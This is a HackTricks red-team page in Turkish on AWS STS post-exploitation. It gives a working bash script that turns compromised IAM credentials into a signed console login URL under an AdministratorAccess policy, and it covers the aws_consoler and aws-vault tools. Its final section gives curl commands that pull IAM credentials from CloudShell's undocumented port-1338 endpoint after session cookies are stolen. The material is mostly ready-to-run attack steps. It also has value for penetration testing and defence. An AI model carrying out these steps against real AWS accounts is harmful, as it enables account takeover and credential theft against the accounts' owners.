AWS - STS Post Exploitation

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'i desteklemenin diğer yolları:

STS

Daha fazla bilgi için:

IAM Kimliklerinden Konsola

Eğer bazı IAM kimliklerini elde etmeyi başardıysanız, aşağıdaki araçları kullanarak web konsola erişmek isteyebilirsiniz. Kullanıcı/rolün sts:GetFederationToken iznine sahip olması gerektiğini unutmayın.

Özel betik

Aşağıdaki betik, varsayılan profil ve varsayılan bir AWS konumu (gov ve cn değil) kullanarak, web konsola giriş yapmak için kullanabileceğiniz imzalı bir URL sağlayacaktır:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)



# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

https://github.com/NetSPI/aws_consoler ile bir web konsol bağlantısı oluşturabilirsiniz.

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

IAM kullanıcısının sts:GetFederationToken iznine sahip olduğundan veya assume etmek için bir rol sağlandığından emin olun.

aws-vault

aws-vault geliştirme ortamında AWS kimlik bilgilerini güvenli bir şekilde depolamak ve erişmek için bir araçtır.

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

Ayrıca aws-vault kullanarak bir tarayıcı konsol oturumu elde edebilirsiniz.

Konsoldan IAM Kimlik Bilgilerine

Orijinal olarak bu gönderide keşfedildi, Bir web konsoluna erişimi ele geçirmeyi başarırsanız (belki çerezleri çaldınız ve .aws klasörüne erişemediniz), CloudShell aracılığıyla o kullanıcı için bazı IAM belirteci kimlik bilgilerini alabilirsiniz.

CloudShell, IAM kimlik bilgilerini 1338 numaralı bağlantı noktasında belgelenmemiş bir uç nokta aracılığıyla açığa çıkarır. Kurbanın tarayıcısına oturum çerezlerini yükledikten sonra, CloudShell'e giderek IAM kimlik bilgilerini almak için aşağıdaki komutları verebilirsiniz.

TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated